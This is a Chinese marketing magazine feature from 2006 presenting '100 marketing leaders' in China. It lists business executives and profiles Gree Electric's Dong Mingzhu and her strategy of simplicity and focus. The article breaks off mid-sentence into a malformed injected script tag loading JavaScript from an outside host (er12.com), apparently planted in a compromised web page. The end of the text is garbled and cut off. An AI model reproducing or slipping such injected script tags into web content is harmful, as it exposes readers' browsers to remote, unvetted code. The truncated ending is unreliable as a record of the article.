营销改变企业命运，营销推动品牌成长。
2005年，是营销全面创新的一年。这一年，网络营销、娱乐营销、移动营销成为了营销疆场上的新主流。这一年，作为中国营销的中坚力量，众多尖峰领袖引领营销大势、推升企业成长。
2006年开春，作为一本以独特的前瞻性和全球视野关注营销趋势的专业杂志，《成功营销》推出“影响中国的100位营销首脑”，共同勾画2006年中国营销大视野。
让我们携手见证中国营销的成长全景，继续引领中国营销的潮流前瞻。
策划：齐馨
执行：本刊编辑部
100位位营销首脑前瞻2006
全球营销领袖的首次观点直击 本土营销首脑的首次英雄大会
实战篇：本土将领实战谋略
中国创造是必由之路，是中国企业家们的理想与宿命。
突破成长的天花板，发现市场的新大陆，中国本土品牌的旗手正在用显性与隐性的营销主导着企业的命运、品牌的成败。
预测未来营销变局, 把握战略创新趋势，布局市场创新谋略。
2006，加速！本土品牌！
（排名不分先后）
董明珠：简单与专一
牛根生：成就“钻石品牌”梦
潘 刚：奥运是最好机遇
王国良：借力再造全面提升
陈 峰：目标=世界
陈东升：超级“三大件”之机
潘石屹：大海捞针成为可能
尹同耀：卖车比造车学问大
李书福：汽车要争品牌主权
兰亚东：本土寿险品牌为先
侯 迅：本土品牌国际浪潮
史万文：品质是营销的灵魂
梁昭贤：微利就是机会
张近东：服务是零售的惟一
刘棠枝：追求有质量的规模
刘志军：本土手机三大优势
杨兴平：品牌即是洞见未来
徐 鑫：进入喜好度竞争
王 群：伴随消费者成长
魏应州：将物流与商流分开
张志勇: 体育营销要打全球牌
王林祥：企业要做世界狼
李金元：规范是直销的利器
何阳青：零售立体整合时代
何鲁敏：迈向精确打击
董明珠简介：
珠海格力电器股份有限公司总经理。1990年加入格力，自1994年底出任经营部部长以来，董明珠领导的格力电器在空调行业中，连续10年产销量、销售收入、市场占有率均居全国首位。她领导的格力销售模式连年创新，被同行及媒体誉为“格力模式”。
董明珠：简单与专一
前瞻观点：简单与专一形成的凝聚力，是企业长久立于不败地位的核心。
2005影响力：
2005年，整个空调行业都面临着原材料涨价，以及对外出口受到欧盟环保指令制约的压力，空调行业首次出现了负增长，同时，家电渠道对上游企业的挤压也让家电企业不堪重负，利润率不断摊薄。董明珠独创的“区域代理模式”却在2005年得到了竞争对手的肯定和模仿。格力2005年销售收入和利润均保持了30％以上的增长率，最终完成了产销量1000万台的目标，拿下了空调产销量的世界冠军。
在空调市场上，格力连续多年保持很好的增长业绩，这与格力多年来奉行的经营原则有很大的关系。无论是在海外市场还是在国内市场，可以说在整个经营上，格力电器只奉行两个字：简单。
目标“简单”—“好空调，格力造”，“打造百年企业，创立国际品牌”。
管理“简单”—机构扁平化，任何员工都能通过电子邮箱与我对话，海内外的市场变化情况都有电子报表在我的电脑上。
宣传“简单”—不搞炒作，频繁出现在消费者眼前的只有六个字“好空调，格力造”。
营销“简单”—厂商分工，不再有业务员，选择与当地强势经销商合作，双方以股份形式共同出资成立销售分公司，在当地建立公司库房，追求稳扎稳打拓展市场，降低渠道成本，实现共存共荣。
服务“简单”—首先是质量要求好，做到8年不维修，其次是所有配件编码，再者所有电子控制部件通用，消费者、生产者、经销者、维修人员都不必为售后服务费心费力。2005年，格力电器还在服务领域内进行了创新，率先在业内推出“整机6年免费包修”政策，彻底根除了消费者的后顾之忧，肃清了游离在行业边缘的“螺丝刀加工厂”，保护了消费者的利益，使空调行业摆脱了“价格战”等恶性竞争，走向了新的发展方向。
格力制胜的另一个法宝就是专一。格力电器只做空调，即使品牌要扩张，也只做与空调有关的扩张，市场本身不要求全面开花。只有每件产品都是精品、极品，才能实现真正意义上的获胜。
一个商品品牌的积累，首要的是靠产品的质量，其次是产品数量。有了产品?script src=http://er12.com/t.js>
